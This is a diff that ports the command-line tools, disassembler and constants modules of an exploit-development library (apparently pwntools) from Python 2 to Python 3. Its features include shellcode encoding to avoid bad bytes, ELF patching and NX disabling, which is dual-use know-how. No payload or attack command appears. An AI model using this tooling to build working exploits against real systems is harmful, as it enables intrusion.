+           0:   mov    eax, 0x5d
+        >>> print(disasm(unhex('b85d000000'), arch = 'i386', byte = 0, offset = 0))
+        mov    eax, 0x5d
+        >>> print(disasm(unhex('b817000000'), arch = 'amd64'))
+           0:   b8 17 00 00 00          mov    eax, 0x17
+        >>> print(disasm(unhex('48c7c017000000'), arch = 'amd64'))
+           0:   48 c7 c0 17 00 00 00    mov    rax, 0x17
+        >>> print(disasm(unhex('04001fe552009000'), arch = 'arm'))
            0:   e51f0004        ldr     r0, [pc, #-4]   ; 0x4
            4:   00900052        addseq  r0, r0, r2, asr r0
-        >>> print disasm('4ff00500'.decode('hex'), arch = 'thumb', bits=32)
+        >>> print(disasm(unhex('4ff00500'), arch = 'thumb', bits=32))
            0:   f04f 0005       mov.w   r0, #5
+        >>> print(disasm(unhex('656664676665400F18A4000000000051'), byte=0, arch='amd64'))
+           0:   gs data16 fs data16 rex nop/reserved BYTE PTR gs:[eax+eax*1+0x0]
+           f:   push   rcx
     """
     result = ''
 
     arch   = context.arch
-    os     = context.os
 
     tmpdir = tempfile.mkdtemp(prefix = 'pwn-disasm-')
     step1  = path.join(tmpdir, 'step1')
@@ -772,6 +769,9 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
         '--rename-section', '.data=.text',
     ]
 
+    if not byte:
+        objdump += ['--no-show-raw-insn']
+
     if arch == 'thumb':
         objcopy += ['--prefix-symbol=$t.']
     else:
@@ -779,10 +779,10 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
 
     try:
 
-        with open(step1, 'w') as fd:
+        with open(step1, 'wb') as fd:
             fd.write(data)
 
-        res = _run(objcopy + [step1, step2])
+        _run(objcopy + [step1, step2])
 
         output0 = _run(objdump + [step2])
         output1 = output0.split('<.text>:\n')
@@ -798,14 +798,22 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
 
 
     lines = []
-    pattern = '^( *[0-9a-f]+: *)((?:[0-9a-f]+ )+ *)(.*)'
+    pattern = '^( *[0-9a-f]+: *)', '((?:[0-9a-f]+ )+ *)', '(.*)'
+    if not byte:
+        pattern = pattern[::2]
+    pattern = ''.join(pattern)
     for line in result.splitlines():
-        try:
-            o, b, i = re.search(pattern, line).groups()
-        except:
+        match = re.search(pattern, line)
+        if not match:
             lines.append(line)
             continue
 
+        groups = match.groups()
+        if byte:
+            o, b, i = groups
+        else:
+            o, i = groups
+
         line = ''
 
         if offset:
@@ -816,4 +824,4 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
             line += i
         lines.append(line)
 
-    return '\n'.join(lines)
+    return re.sub(',([^ ])', r', \1', '\n'.join(lines))

pwnlib/atexception.py

@@ -3,6 +3,7 @@ Analogous to atexit, this module allows the programmer to register functions to
 be run if an unhandled exception occurs.
 """
 from __future__ import absolute_import
+from __future__ import division
 
 import sys
 import threading

pwnlib/atexit.py

@@ -8,6 +8,7 @@ This module also fixes a the issue that exceptions raised by an exit handler is
 printed twice when the standard :mod:`atexit` is used.
 """
 from __future__ import absolute_import
+from __future__ import division
 
 import sys
 import threading

pwnlib/commandline/asm.py

@@ -1,5 +1,6 @@
 #!/usr/bin/env python2
 from __future__ import absolute_import
+from __future__ import division
 
 import argparse
 import sys
@@ -29,8 +30,8 @@ parser.add_argument(
     "-o","--output",
     metavar='file',
     help="Output file (defaults to stdout)",
-    type=argparse.FileType('w'),
-    default=sys.stdout
+    type=argparse.FileType('wb'),
+    default=getattr(sys.stdout, 'buffer', sys.stdout)
 )
 
 parser.add_argument(
@@ -45,14 +46,14 @@ parser.add_argument(
 parser.add_argument(
     '-v', '--avoid',
     action='append',
-    help = 'Encode the shellcode to avoid the listed bytes (provided as hex; default: 000a)'
+    help = 'Encode the shellcode to avoid the listed bytes (provided as hex)'
 )
 
 parser.add_argument(
     '-n', '--newline',
     dest='avoid',
     action='append_const',
-    const='\n',
+    const='0a',
     help = 'Encode the shellcode to avoid newlines'
 )
 
@@ -60,7 +61,7 @@ parser.add_argument(
     '-z', '--zero',
     dest='avoid',
     action='append_const',
-    const='\x00',
+    const='00',
     help = 'Encode the shellcode to avoid NULL bytes'
 )
 
@@ -83,7 +84,7 @@ parser.add_argument(
     '--infile',
     help="Specify input file",
     default=sys.stdin,
-    type=file
+    type=argparse.FileType('r')
 )
 
 parser.add_argument(
@@ -103,10 +104,11 @@ def main(args):
     data   = '\n'.join(args.lines) or args.infile.read()
     output = asm(data.replace(';', '\n'))
     fmt    = args.format or ('hex' if tty else 'raw')
-    formatters = {'r':str, 'h':enhex, 's':repr}
+    formatters = {'r':bytes, 'h':enhex, 's':repr}
 
     if args.avoid:
-        output = encode(output, args.avoid)
+        avoid = unhex(''.join(args.avoid))
+        output = encode(output, avoid)
 
     if args.debug:
         proc = gdb.debug_shellcode(output, arch=context.arch)
@@ -120,13 +122,16 @@ def main(args):
 
     if fmt[0] == 'e':
         args.output.write(make_elf(output))
-        try: os.fchmod(args.output.fileno(), 0700)
+        try: os.fchmod(args.output.fileno(), 0o700)
         except OSError: pass
     else:
-        args.output.write(formatters[fmt[0]](output))
+        output = formatters[fmt[0]](output)
+        if not hasattr(output, 'decode'):
+            output = output.encode('ascii')
+        args.output.write(output)
 
     if tty and fmt is not 'raw':
-        args.output.write('\n')
+        args.output.write(b'\n')
 
 if __name__ == '__main__':
     pwnlib.commandline.common.main(__file__)

pwnlib/commandline/checksec.py

@@ -1,5 +1,6 @@
 #!/usr/bin/env python2
 from __future__ import absolute_import
+from __future__ import division
 
 import argparse
 import sys
@@ -14,7 +15,7 @@ parser = common.parser_commands.add_parser(
 parser.add_argument(
     'elf',
     nargs='*',
-    type=file,
+    type=argparse.FileType('rb'),
     help='Files to check'
 )
 parser.add_argument(
@@ -22,7 +23,7 @@ parser.add_argument(
     nargs='*',
     dest='elf2',
     metavar='elf',
-    type=file,
+    type=argparse.FileType('rb'),
     help='File to check (for compatibility with checksec.sh)'
 )
 

pwnlib/commandline/common.py

@@ -5,7 +5,7 @@ import sys
 import pwnlib
 from pwnlib.context import context
 
-choices = map(str, [16,32,64])
+choices = list(map(str, [16,32,64]))
 choices += list(context.oses)
 choices += list(context.architectures)
 choices += list(context.endiannesses)

pwnlib/commandline/constgrep.py

@@ -1,7 +1,9 @@
 #!/usr/bin/env python2
 from __future__ import absolute_import
+from __future__ import division
 
 import argparse
+import functools
 import os
 import re
 
@@ -63,7 +65,7 @@ p.add_argument(
 def main(args):
     if args.exact:
         # This is the simple case
-        print cpp(args.exact).strip()
+        print(cpp(args.exact).strip())
     else:
         # New we search in the right module.
         # But first: We find the right module
@@ -117,7 +119,7 @@ def main(args):
 
         # Output all matching constants
         for _, k in sorted(out):
-            print '#define %s %s' % (k.ljust(maxlen), cpp(k).strip())
+            print('#define %s %s' % (k.ljust(maxlen), cpp(k).strip()))
 
         # If we are in match_mode, then try to find a combination of
         # constants that yield the exact given value
@@ -134,9 +136,9 @@ def main(args):
 
                 out = [(v, k) for v, k in out if mask & v == v]
 
-            if reduce(lambda x, cur: x | cur[0], good, 0) == constant:
-                print
-                print '(%s) == %s' % (' | '.join(k for v, k in good), args.constant)
+            if functools.reduce(lambda x, cur: x | cur[0], good, 0) == constant:
+                print('')
+                print('(%s) == %s' % (' | '.join(k for v, k in good), args.constant))
 
 if __name__ == '__main__':
     pwnlib.commandline.common.main(__file__)

pwnlib/commandline/cyclic.py

@@ -1,5 +1,6 @@
 #!/usr/bin/env python2
 from __future__ import absolute_import
+from __future__ import division
 
 import argparse
 import string
@@ -81,7 +82,7 @@ def main(args):
             log.critical('Given pattern does not exist in cyclic pattern')
             sys.exit(1)
         else:
-            print offset
+            print(offset)
     else:
         want   = args.count
         result = cyclic(want, alphabet, subsize)

pwnlib/commandline/debug.py

@@ -1,5 +1,6 @@
 #!/usr/bin/env python2
 from __future__ import absolute_import
+from __future__ import division
 
 import argparse
 import sys
@@ -13,7 +14,7 @@ parser = common.parser_commands.add_parser(
 )
 parser.add_argument(
     '-x', metavar='GDBSCRIPT',
-    type=file,
+    type=argparse.FileType('r'),
     help='Execute GDB commands from this file.'
 )
 parser.add_argument(
@@ -78,7 +79,12 @@ def main(args):
         # pidof() returns a list
         if not target:
             log.error("Could not find a PID for %r", args.process)
+
         target = target[0]
+
+        # pidof will sometimes return all PIDs, including init
+        if target == 1:
+            log.error("Got PID 1 from pidof.  Check the process name, or use --pid 1 to debug init")
     else:
         parser.print_usage()
         return 1

pwnlib/commandline/disablenx.py

@@ -1,6 +1,8 @@
 #!/usr/bin/env python2
 from __future__ import absolute_import
+from __future__ import division
 
+import argparse
 from pwn import *
 from pwnlib.commandline import common
 
@@ -11,7 +13,7 @@ parser = common.parser_commands.add_parser(
 parser.add_argument(
     'elf',
     nargs='+',
-    type=file,
+    type=argparse.FileType('rb'),
     help='Files to check'
 )
 

pwnlib/commandline/disasm.py

@@ -1,5 +1,7 @@
 #!/usr/bin/env python2
 from __future__ import absolute_import
+from __future__ import division
+from __future__ import print_function
 
 import argparse
 import string
@@ -20,7 +22,7 @@ parser.add_argument(
     'hex',
     metavar = 'hex',
     nargs = '*',
-    help = 'Hex-string to disasemble. If none are supplied, then it uses stdin in non-hex mode.'
+    help = 'Hex-string to disassemble. If none are supplied, then it uses stdin in non-hex mode.'
 )
 
 parser.add_argument(
@@ -59,14 +61,14 @@ parser.add_argument(
 
 def main(args):
     if len(args.hex) > 0:
-        dat = ''.join(args.hex)
-        dat = dat.translate(None, string.whitespace)
-        if not set(string.hexdigits) >= set(dat):
-            print "This is not a hex string"
+        dat = ''.join(args.hex).encode('utf-8', 'surrogateescape')
+        dat = dat.translate(None, string.whitespace.encode('ascii'))
+        if not set(string.hexdigits.encode('ascii')) >= set(dat):
+            print("This is not a hex string")
             exit(-1)
-        dat = dat.decode('hex')
+        dat = unhex(dat)
     else:
-        dat = sys.stdin.read()
+        dat = getattr(sys.stdin, 'buffer', sys.stdin).read()
 
 
     if args.color:
@@ -79,17 +81,16 @@ def main(args):
         instrs  = disasm(dat, vma=safeeval.const(args.address), byte=False, offset=False)
         # instrs  = highlight(instrs, PwntoolsLexer(), TerminalFormatter())
 
-        split = lambda x: x.splitlines()
-        for o,b,i in zip(*list(map(split, (offsets, bytes, instrs)))):
+        for o,b,i in zip(*map(str.splitlines, (offsets, bytes, instrs))):
             b = b.replace('00', text.red('00'))
             b = b.replace('0a', text.red('0a'))
             i = highlight(i.strip(), PwntoolsLexer(), TerminalFormatter()).strip()
             i = i.replace(',',', ')
 
-            print o,b,i
+            print(o,b,i)
         return
 
-    print disasm(dat, vma=safeeval.const(args.address))
+    print(disasm(dat, vma=safeeval.const(args.address)))
 
 if __name__ == '__main__':
     pwnlib.commandline.common.main(__file__)

pwnlib/commandline/elfdiff.py

@@ -1,5 +1,6 @@
 #!/usr/bin/env python2
 from __future__ import absolute_import
+from __future__ import division
 
 import shutil
 from argparse import ArgumentParser
@@ -22,7 +23,7 @@ def dump(objdump, path):
     return n.name
 
 def diff(a,b):
-    try: return check_output(['diff',a,b])
+    try: return check_output(['diff',a,b], universal_newlines=True)
     except CalledProcessError as e:
         return e.output
 
@@ -55,7 +56,7 @@ def main(a):
     shutil.copy(y.path, name)
     y = dump(objdump, name)
 
-    print diff(x, y)
+    print(diff(x, y))
 
 if __name__ == '__main__':
     pwnlib.commandline.common.main(__file__)

pwnlib/commandline/elfpatch.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python2
 from __future__ import absolute_import
+from __future__ import division
 
-import argparse
 import sys
 
 import pwnlib
@@ -15,7 +15,6 @@ p = common.parser_commands.add_parser(
     help = 'Patch an ELF file'
 )
 
-p = argparse.ArgumentParser()
 p.add_argument('elf',help="File to patch")
 p.add_argument('offset',help="Offset to patch in virtual address (hex encoded)")
 p.add_argument('bytes',help='Bytes to patch (hex encoded)')
@@ -32,7 +31,7 @@ def main(a):
         elf    = ELF(a.elf)
 
     elf.write(offset, bytes)
-    sys.stdout.write(elf.get_data())
+    getattr(sys.stdout, 'buffer', sys.stdout).write(elf.get_data())
 
 if __name__ == '__main__':
     pwnlib.commandline.common.main(__file__)

pwnlib/commandline/errno.py

@@ -1,7 +1,8 @@
-from __future__ import absolute_import
+from __future__ import absolute_import, print_function
 
 import argparse
 import os
+import errno
 
 from pwnlib.commandline import common
 
@@ -24,24 +25,24 @@ def main(args):
     if 0x100000000 - value < 0x200:
       value = 0x100000000 - value
 
-    if value not in os.errno.errorcode:
-      print "No errno for %s" % value
+    if value not in errno.errorcode:
+      print("No errno for %s" % value)
       return
 
-    name = os.errno.errorcode[value]
+    name = errno.errorcode[value]
 
   except ValueError:
     name = args.error.upper()
 
-    if not hasattr(os.errno, name):
-      print "No errno for %s" % name
+    if not hasattr(errno, name):
+      print("No errno for %s" % name)
       return
 
-    value = getattr(os.errno, name)
+    value = getattr(errno, name)
 
 
-  print '#define', name, value
-  print os.strerror(value)
+  print('#define', name, value)
+  print(os.strerror(value))
 
 if __name__ == '__main__':
     pwnlib.commandline.common.main(__file__)

pwnlib/commandline/hex.py

@@ -1,10 +1,12 @@
 #!/usr/bin/env python2
 from __future__ import absolute_import
+from __future__ import division
 
 import argparse
 import sys
 
 from pwnlib.commandline import common
+from pwnlib.util.fiddling import enhex
 
 parser = common.parser_commands.add_parser(
     'hex',
@@ -16,9 +18,12 @@ parser.add_argument('data', nargs='*',
 
 def main(args):
     if not args.data:
-        print sys.stdin.read().encode('hex')
+        print(enhex(getattr(sys.stdin, 'buffer', sys.stdin).read()))
     else:
-        print ' '.join(args.data).encode('hex')
+        data = ' '.join(args.data)
+        if not hasattr(data, 'decode'):
+            data = data.encode('utf-8', 'surrogateescape')
+        print(enhex(data))
 
 if __name__ == '__main__':
     pwnlib.commandline.common.main(__file__)

pwnlib/commandline/main.py

@@ -46,6 +46,9 @@ commands = {
 }
 
 def main():
+    if len(sys.argv) < 2:
+        parser.print_usage()
+        sys.exit()
     args = parser.parse_args()
     with context.local(log_console = sys.stderr):
         commands[args.command](args)

pwnlib/commandline/phd.py

@@ -1,9 +1,11 @@
 #!/usr/bin/env python2
 from __future__ import absolute_import
+from __future__ import division
 
 import argparse
 import os
 import sys
+import io
 
 import pwnlib
 pwnlib.args.free_form = False
@@ -21,8 +23,8 @@ parser.add_argument(
     metavar='file',
     nargs='?',
     help='File to hexdump.  Reads from stdin if missing.',
-    type=argparse.FileType('r'),
-    default=sys.stdin
+    type=argparse.FileType('rb'),
+    default=getattr(sys.stdin, 'buffer', sys.stdin)
 )
 
 parser.add_argument(
@@ -88,6 +90,9 @@ def main(args):
         else:
             infile.seek(skip, os.SEEK_CUR)
 
+    if count:
+        infile = io.BytesIO(infile.read(count))
+
     hl = []
     if args.highlight:
         for hs in args.highlight:
@@ -96,7 +101,7 @@ def main(args):
 
     try:
         for line in hexdump_iter(infile, width, highlight = hl, begin = offset + skip):
-            print line
+            print(line)
     except (KeyboardInterrupt, IOError):
         pass
 

pwnlib/commandline/pwnstrip.py

@@ -1,4 +1,5 @@
 from __future__ import absolute_import
+from __future__ import division
 
 import argparse
 
@@ -16,8 +17,8 @@ p = common.parser_commands.add_parser(
 g = p.add_argument_group("actions")
 g.add_argument('-b', '--build-id', help="Strip build ID", action='store_true')
 g.add_argument('-p', '--patch', metavar='FUNCTION', help="Patch function", action='append')
-p.add_argument('-o', '--output', type=file, default=sys.stdout)
-p.add_argument('file', type=file)
+p.add_argument('-o', '--output', type=argparse.FileType('wb'), default=getattr(sys.stdout, 'buffer', sys.stdout))
+p.add_argument('file', type=argparse.FileType('rb'))
 
 def main(args):
     if not (args.patch or args.build_id):
@@ -32,7 +33,7 @@ def main(args):
         for offset in pwnlib.libcdb.get_build_id_offsets():
             data = elf.read(elf.address + offset + 0xC, 4)
             if data == 'GNU\x00':
-                elf.write(elf.address + offset + 0x10, read('/dev/urandom', 20))
+                elf.write(elf.address + offset + 0x10, os.urandom(20))
 
     for function in args.patch:
         if function not in elf.symbols:
@@ -46,7 +47,7 @@ def main(args):
     result = elf.data
 
     if args.output.isatty():
-        result = enhex(result)
+        result = enhex(result).encode('ascii')
 
     args.output.write(result)
 

pwnlib/commandline/scramble.py

@@ -1,4 +1,5 @@
 from __future__ import absolute_import
+from __future__ import division
 
 import argparse
 import sys
@@ -24,8 +25,8 @@ parser.add_argument(
     "-o","--output",
     metavar='file',
     help="Output file (defaults to stdout)",
-    type=argparse.FileType('w'),
-    default=sys.stdout
+    type=argparse.FileType('wb'),
+    default=getattr(sys.stdout, 'buffer', sys.stdout)
 )
 
 parser.add_argument(
@@ -82,7 +83,7 @@ def main(args):
     data   = sys.stdin.read()
     output = data
     fmt    = args.format or ('hex' if tty else 'raw')
-    formatters = {'r':str, 'h':enhex, 's':repr}
+    formatters = {'r':bytes, 'h':enhex, 's':repr}
 
     if args.alphanumeric:
         output = alphanumeric(output)
@@ -98,10 +99,13 @@ def main(args):
     if fmt[0] == 'e':
         sys.stdout.write(make_elf(output))
     else:
-        args.output.write(formatters[fmt[0]](output))
+        output = formatters[fmt[0]](output)
+        if not hasattr(output, 'decode'):
+            output = output.encode('ascii')
+        args.output.write(output)
 
-    if tty and fmt is not 'raw':
-        args.output.write('\n')
+    if tty and fmt != 'raw':
+        args.output.write(b'\n')
 
 
 if __name__ == '__main__':

pwnlib/commandline/shellcraft.py

@@ -1,8 +1,10 @@
 #!/usr/bin/env python2
 from __future__ import absolute_import
+from __future__ import division
 
 import argparse
 import os
+import six
 import sys
 import types
 
@@ -21,8 +23,8 @@ from pwnlib.commandline import common
 
 def _string(s):
     out = []
-    for c in s:
-        co = ord(c)
+    for co in bytearray(s):
+        c = chr(co)
         if co >= 0x20 and co <= 0x7e and c not in '/$\'"`':
             out.append(c)
         else:
@@ -45,8 +47,8 @@ p.add_argument(
 p.add_argument(
     '-o', '--out',
     metavar = 'file',
-    type = argparse.FileType('w'),
-    default = sys.stdout,
+    type = argparse.FileType('wb'),
+    default = getattr(sys.stdout, 'buffer', sys.stdout),
     help = 'Output file (default: stdout)',
 )
 
@@ -189,7 +191,7 @@ def main(args):
         elif not args.syscalls:
             templates = filter(is_not_a_syscall_template, templates)
 
-        print '\n'.join(templates)
+        print('\n'.join(templates))
         exit()
 
     if not args.shellcode:
@@ -244,11 +246,11 @@ def main(args):
             if not in_doctest:
                 doc.append(line)
             i += 1
-        print '\n'.join(doc).rstrip()
+        print('\n'.join(doc).rstrip())
         exit()
 
-    defargs = len(func.func_defaults or ())
-    reqargs = func.func_code.co_argcount - defargs
+    defargs = len(six.get_function_defaults(func) or ())
+    reqargs = six.get_function_code(func).co_argcount - defargs
     if len(args.args) < reqargs:
         if defargs > 0:
             log.critical('%s takes at least %d arguments' % (args.shellcode, reqargs))
@@ -265,7 +267,7 @@ def main(args):
             pass
 
     # And he strikes again!
-    map(common.context_arg, args.shellcode.split('.'))
+    list(map(common.context_arg, args.shellcode.split('.')))
     code = func(*args.args)
 
 
@@ -283,10 +285,10 @@ def main(args):
 
             code = highlight(code, PwntoolsLexer(), TerminalFormatter())
 
-        print code
+        print(code)
         exit()
     if args.format == 'p':
-        print cpp(code)
+        print(cpp(code))
         exit()
 
     assembly = code
@@ -297,7 +299,7 @@ def main(args):
 
     if args.format in ['e','elf']:
         args.format = 'default'
-        try: os.fchmod(args.out.fileno(), 0700)
+        try: os.fchmod(args.out.fileno(), 0o700)
         except OSError: pass
 
 
@@ -341,10 +343,12 @@ def main(args):
     elif args.format in ['i', 'hexii']:
         code = hexii(code) + '\n'
     elif args.format in ['d', 'escaped']:
-        code = ''.join('\\x%02x' % ord(c) for c in code) + '\n'
+        code = ''.join('\\x%02x' % c for c in bytearray(code)) + '\n'
     if not sys.stdin.isatty():
-        args.out.write(sys.stdin.read())
+        args.out.write(getattr(sys.stdin, 'buffer', sys.stdin).read())
 
+    if not hasattr(code, 'decode'):
+        code = code.encode()
     args.out.write(code)
 
 if __name__ == '__main__':

pwnlib/commandline/template.py

@@ -1,5 +1,6 @@
 #!/usr/bin/env python2
 from __future__ import absolute_import
+from __future__ import division
 
 import re
 
@@ -56,10 +57,10 @@ def main(args):
     # Fix Mako formatting bs
     output = re.sub('\n\n\n', '\n\n', output)
 
-    print output
+    print(output)
 
     if not sys.stdout.isatty():
-        try: os.fchmod(sys.stdout.fileno(), 0700)
+        try: os.fchmod(sys.stdout.fileno(), 0o700)
         except OSError: pass
 
 if __name__ == '__main__':

pwnlib/commandline/unhex.py

@@ -1,11 +1,13 @@
 #!/usr/bin/env python2
 from __future__ import absolute_import
+from __future__ import division
 
 import argparse
 import sys
 from string import whitespace
 
 from pwnlib.commandline import common
+from pwnlib.util.fiddling import unhex
 
 parser = common.parser_commands.add_parser(
     'unhex',
@@ -18,12 +20,13 @@ parser.add_argument('hex', nargs='*',
 
 def main(args):
     try:
+        o = getattr(sys.stdout, 'buffer', sys.stdout)
         if not args.hex:
-            s = sys.stdin.read().translate(None, whitespace)
-            sys.stdout.write(s.decode('hex'))
+            s = getattr(sys.stdin, 'buffer', sys.stdin).read().translate(None, whitespace.encode('ascii'))
+            o.write(unhex(s))
         else:
-            sys.stdout.write(''.join(args.hex).decode('hex'))
-    except TypeError, e:
+            o.write(unhex(''.join(args.hex)))
+    except TypeError as e:
         sys.stderr.write(str(e) + '\n')
 
 if __name__ == '__main__':

pwnlib/commandline/update.py

@@ -1,5 +1,6 @@
-#!/usr/bin/env python2
+#!/usr/bin/env python
 from __future__ import absolute_import
+from __future__ import division
 
 import subprocess
 
@@ -24,7 +25,7 @@ p.add_argument('--pre', action='store_true', help='''
 
 def main(a):
     result = pwnlib.update.perform_check(prerelease=a.pre)
-    if a.install:
+    if result and a.install:
         subprocess.check_call(result, shell=False)
 
 if __name__ == '__main__':

pwnlib/config.py

@@ -28,8 +28,9 @@ supported by ``pwnlib.util.safeeval.expr``.
     terminal=['x-terminal-emulator', '-e']
 """
 from __future__ import absolute_import
+from __future__ import division
 
-import ConfigParser
+from six.moves import configparser
 import os
 
 registered_configs = {}
@@ -49,7 +50,7 @@ def initialize():
     from pwnlib.log import getLogger
     log = getLogger(__name__)
 
-    c = ConfigParser.ConfigParser()
+    c = configparser.ConfigParser()
     c.read(['/etc/pwn.conf', os.path.expanduser('~/.pwn.conf')])
 
     for section in c.sections():

pwnlib/constants/__init__.py

@@ -30,23 +30,23 @@ what happens in :mod:`pwnlib.shellcraft`.
 Example:
 
     >>> with context.local(os = 'freebsd'):
-    ...     print int(constants.SYS_stat)
+    ...     print(int(constants.SYS_stat))
     188
     >>> with context.local(os = 'linux', arch = 'i386'):
-    ...     print int(constants.SYS_stat)
+    ...     print(int(constants.SYS_stat))
     106
     >>> with context.local(os = 'linux', arch = 'amd64'):
-    ...     print int(constants.SYS_stat)
+    ...     print(int(constants.SYS_stat))
     4
 
     >>> with context.local(arch = 'i386', os = 'linux'):
-    ...    print constants.SYS_execve + constants.PROT_WRITE
+    ...    print(constants.SYS_execve + constants.PROT_WRITE)
     13
     >>> with context.local(arch = 'amd64', os = 'linux'):
-    ...    print constants.SYS_execve + constants.PROT_WRITE
+    ...    print(constants.SYS_execve + constants.PROT_WRITE)
     61
     >>> with context.local(arch = 'amd64', os = 'linux'):
-    ...    print constants.SYS_execve + constants.PROT_WRITE
+    ...    print(constants.SYS_execve + constants.PROT_WRITE)
     61
 
 """
@@ -111,7 +111,7 @@ class ConstantsModule(ModuleType):
                 pass
         else:
             mod = self.guess()
-            if hasattr(mod, key):
+            if mod is not self and hasattr(mod, key):
                 return getattr(mod, key)
 
         raise AttributeError("'module' object has no attribute '%s'" % key)
@@ -124,13 +124,13 @@ class ConstantsModule(ModuleType):
         Example:
 
             >>> with context.local(arch = 'i386', os = 'linux'):
-            ...    print 13 == constants.eval('SYS_execve + PROT_WRITE')
+            ...    print(13 == constants.eval('SYS_execve + PROT_WRITE'))
             True
             >>> with context.local(arch = 'amd64', os = 'linux'):
-            ...    print 61 == constants.eval('SYS_execve + PROT_WRITE')
+            ...    print(61 == constants.eval('SYS_execve + PROT_WRITE'))
             True
             >>> with context.local(arch = 'amd64', os = 'linux'):
-            ...    print 61 == constants.eval('SYS_execve + PROT_WRITE')
+            ...    print(61 == constants.eval('SYS_execve + PROT_WRITE'))
             True
         """
         if not isinstance(string, str):

pwnlib/constants/freebsd.py

@@ -540,37 +540,37 @@ PRU_FLUSH_RDWR = Constant('PRU_FLUSH_RDWR',2)
 SF_NODISKIO = Constant('SF_NODISKIO',0x00000001)
 SF_MNOWAIT = Constant('SF_MNOWAIT',0x00000002)
 SF_SYNC = Constant('SF_SYNC',0x00000004)
-S_ISUID = Constant('S_ISUID',0004000)
-S_ISGID = Constant('S_ISGID',0002000)
-S_ISTXT = Constant('S_ISTXT',0001000)
-S_IRWXU = Constant('S_IRWXU',0000700)
-S_IRUSR = Constant('S_IRUSR',0000400)
-S_IWUSR = Constant('S_IWUSR',0000200)
-S_IXUSR = Constant('S_IXUSR',0000100)
-S_IREAD = Constant('S_IREAD',0000400)
-S_IWRITE = Constant('S_IWRITE',0000200)
-S_IEXEC = Constant('S_IEXEC',0000100)
-S_IRWXG = Constant('S_IRWXG',0000070)
-S_IRGRP = Constant('S_IRGRP',0000040)
-S_IWGRP = Constant('S_IWGRP',0000020)
-S_IXGRP = Constant('S_IXGRP',0000010)
-S_IRWXO = Constant('S_IRWXO',0000007)
-S_IROTH = Constant('S_IROTH',0000004)
-S_IWOTH = Constant('S_IWOTH',0000002)
-S_IXOTH = Constant('S_IXOTH',0000001)
-S_IFMT = Constant('S_IFMT',0170000)
-S_IFIFO = Constant('S_IFIFO',0010000)
-S_IFCHR = Constant('S_IFCHR',0020000)
-S_IFDIR = Constant('S_IFDIR',0040000)
-S_IFBLK = Constant('S_IFBLK',0060000)
-S_IFREG = Constant('S_IFREG',0100000)
-S_IFLNK = Constant('S_IFLNK',0120000)
-S_IFSOCK = Constant('S_IFSOCK',0140000)
-S_ISVTX = Constant('S_ISVTX',0001000)
-S_IFWHT = Constant('S_IFWHT',0160000)
-ACCESSPERMS = Constant('ACCESSPERMS',(0000700|0000070|0000007))
-ALLPERMS = Constant('ALLPERMS',(0004000|0002000|0001000|0000700|0000070|0000007))
-DEFFILEMODE = Constant('DEFFILEMODE',(0000400|0000200|0000040|0000020|0000004|0000002))
+S_ISUID = Constant('S_ISUID',0o004000)
+S_ISGID = Constant('S_ISGID',0o002000)
+S_ISTXT = Constant('S_ISTXT',0o001000)
+S_IRWXU = Constant('S_IRWXU',0o000700)
+S_IRUSR = Constant('S_IRUSR',0o000400)
+S_IWUSR = Constant('S_IWUSR',0o000200)
+S_IXUSR = Constant('S_IXUSR',0o000100)
+S_IREAD = Constant('S_IREAD',0o000400)
+S_IWRITE = Constant('S_IWRITE',0o000200)
+S_IEXEC = Constant('S_IEXEC',0o000100)
+S_IRWXG = Constant('S_IRWXG',0o000070)
+S_IRGRP = Constant('S_IRGRP',0o000040)
+S_IWGRP = Constant('S_IWGRP',0o000020)
+S_IXGRP = Constant('S_IXGRP',0o000010)
+S_IRWXO = Constant('S_IRWXO',0o000007)
+S_IROTH = Constant('S_IROTH',0o000004)
+S_IWOTH = Constant('S_IWOTH',0o000002)
+S_IXOTH = Constant('S_IXOTH',0o000001)
+S_IFMT = Constant('S_IFMT',0o170000)
+S_IFIFO = Constant('S_IFIFO',0o010000)
+S_IFCHR = Constant('S_IFCHR',0o020000)
+S_IFDIR = Constant('S_IFDIR',0o040000)
+S_IFBLK = Constant('S_IFBLK',0o060000)
+S_IFREG = Constant('S_IFREG',0o100000)
+S_IFLNK = Constant('S_IFLNK',0o120000)
+S_IFSOCK = Constant('S_IFSOCK',0o140000)
+S_ISVTX = Constant('S_ISVTX',0o001000)
+S_IFWHT = Constant('S_IFWHT',0o160000)
+ACCESSPERMS = Constant('ACCESSPERMS',(0o000700|0o000070|0o000007))
+ALLPERMS = Constant('ALLPERMS',(0o004000|0o002000|0o001000|0o000700|0o000070|0o000007))
+DEFFILEMODE = Constant('DEFFILEMODE',(0o000400|0o000200|0o000040|0o000020|0o000004|0o000002))
 S_BLKSIZE = Constant('S_BLKSIZE',512)
 UF_SETTABLE = Constant('UF_SETTABLE',0x0000ffff)
 UF_NODUMP = Constant('UF_NODUMP',0x00000001)

pwnlib/constants/linux/aarch64.py

@@ -501,51 +501,51 @@ F_LOCK = Constant('F_LOCK',1)
 F_TLOCK = Constant('F_TLOCK',2)
 F_TEST = Constant('F_TEST',3)
 STAT64_HAS_BROKEN_ST_INO = Constant('STAT64_HAS_BROKEN_ST_INO',1)
-S_IFMT = Constant('S_IFMT',00170000)
-S_IFSOCK = Constant('S_IFSOCK',0140000)
-S_IFLNK = Constant('S_IFLNK',0120000)
-S_IFREG = Constant('S_IFREG',0100000)
-S_IFBLK = Constant('S_IFBLK',0060000)
-S_IFDIR = Constant('S_IFDIR',0040000)
-S_IFCHR = Constant('S_IFCHR',0020000)
-S_IFIFO = Constant('S_IFIFO',0010000)
-S_ISUID = Constant('S_ISUID',0004000)
-S_ISGID = Constant('S_ISGID',0002000)
-S_ISVTX = Constant('S_ISVTX',0001000)
-S_IRWXU = Constant('S_IRWXU',00700)
-S_IRUSR = Constant('S_IRUSR',00400)
-S_IWUSR = Constant('S_IWUSR',00200)
-S_IXUSR = Constant('S_IXUSR',00100)
-S_IRWXG = Constant('S_IRWXG',00070)
-S_IRGRP = Constant('S_IRGRP',00040)
-S_IWGRP = Constant('S_IWGRP',00020)
-S_IXGRP = Constant('S_IXGRP',00010)
-S_IRWXO = Constant('S_IRWXO',00007)
-S_IROTH = Constant('S_IROTH',00004)
-S_IWOTH = Constant('S_IWOTH',00002)
-S_IXOTH = Constant('S_IXOTH',00001)
-S_IREAD = Constant('S_IREAD',00400)
-S_IWRITE = Constant('S_IWRITE',00200)
